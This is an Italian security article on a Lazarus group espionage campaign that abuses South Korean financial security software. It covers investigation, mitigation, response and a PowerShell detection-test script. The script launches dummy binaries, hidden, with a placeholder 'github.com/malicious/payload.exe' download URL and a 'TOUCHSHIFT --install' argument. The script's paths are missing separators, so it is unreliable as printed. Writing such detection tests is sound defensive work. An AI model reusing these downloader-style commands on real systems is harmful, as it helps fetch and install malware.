Lazarus Utilizza Software di Sicurezza Sudcoreano per Distribuire Malware Criptato Post-Quantico

Sommario

Il gruppo Lazarus, collegato alla Corea del Nord, sta conducendo una campagna di spionaggio informatico tracciata come Operazione FlashHole. Il gruppo sfrutta vulnerabilità nel software di sicurezza finanziaria ampiamente utilizzato in Corea del Sud per distribuire un avanzato framework di malware. Questa ultima iterazione della campagna introduce algoritmi crittografici post-quantistici per proteggere le comunicazioni di comando e controllo.

Indagine

Le ricerche di Kaspersky e AhnLab hanno scoperto una complessa catena di infezioni che coinvolge il caricamento laterale di DLL e l’abuso di binari di sistema legittimi come fsquirt.exe. Gli analisti hanno collegato la campagna a operazioni precedenti, tra cui SyncHole, e documentato una chiara evoluzione nella sofisticazione del malware. L’indagine ha anche rivelato l’uso di GitHub Pages per l’hosting di contenuti dannosi e toolset avanzati come TechHub e Cubridge.

Mitigazione

Le organizzazioni dovrebbero dare priorità all’applicazione di patch al software di sicurezza finanziaria, tra cui INISAFE CrossWeb EX e AnySign4PC. È fondamentale imporre controlli rigorosi contro il caricamento laterale di DLL e monitorare le relazioni inusuali tra processi genitore-figlio, come il lancio di fsquirt.exe da parte del software di sicurezza. I difensori dovrebbero anche monitorare connessioni inattese alle API di GitHub o Dropbox da processi non comuni per identificare potenziali attività di C2.

Risposta

Quando viene rilevata un’attività malevola, isolare gli host coinvolti per prevenire movimenti laterali tramite soluzioni di trasferimento file. Eseguire analisi della memoria per identificare DLL malevoli in esecuzione e ispezionare i sistemi per modifiche non autorizzate ai file. Rivedere la telemetria di rete per comunicazioni criptate sospette e indagare su potenziali tentativi di esfiltrazione dati verso siti di fuga nel dark web conosciuti come ULOSE.

Esecuzione della Simulazione

• Narrazione e Comandi dell’Attacco: L’avversario intende distribuire il downloader TechHub per stabilire una connessione a un repository remoto su GitHub per raccogliere la fase successiva del payload. Per evitare il rilevamento, utilizzano il TechHub.exe binario con un URL specifico. Successivamente, utilizzano l’ TouchHub.exe installatore, passando il parametro TOUCHSHIFT per attivare l’installazione di componenti malevoli. Questo simula gli specifici indicatori di compromissione (IoC) utilizzati dal gruppo Lazarus.

• Script di Test di Regressione:

  # Script di simulazione per il rilevamento TechHub/TouchHub del gruppo Lazarus
  # Questo script crea file fittizi per simulare la presenza dei binari del malware.
  
  $TempDir = "$env:TEMPLazarusSim"
  New-Item -ItemType Directory -Force -Path $TempDir
  
  $TechHubPath = "$TempDirTechHub.exe"
  $TouchHubPath = "$TempDirTouchHub.exe"
  
  # Creare eseguibili fittizi
  New-Item -ItemType File -Force -Path $TechHubPath
  New-Item -ItemType File -Force -Path $TouchHubPath
  
  Write-Host "[+] Simulazione dell'attività TechHub..." -ForegroundColor Cyan
  # Questo dovrebbe attivare 'selection_techhub'
  Start-Process -FilePath $TechHubPath -ArgumentList "https://github.com/malicious/payload.exe" -WindowStyle Hidden
  
  Write-Host "[+] Simulazione dell'attività TouchHub..." -ForegroundColor Cyan
  # Questo dovrebbe attivare 'selection_touchhub'
  Start-Process -FilePath $TouchHubPath -ArgumentList "--mode TOUCHSHIFT --install" -WindowStyle Hidden
  
  Write-Host "[+] Simulazione completata. Controlla SIEM per gli avvisi." -ForegroundColor Green

• Comandi di Pulizia:

  # Script di pulizia per rimuovere i file simulati
  $TempDir = "$env:TEMPLazarusSim"
  if (Test-Path $TempDir) {
      Remove-Item -Recurse -Force $TempDir
      Write-Host "[+] Pulizia riuscita: $TempDir rimosso." -ForegroundColor Green
  } else {
      Write-Host "[!] Pulizia fallita: directory non trovata." -ForegroundColor Red
  }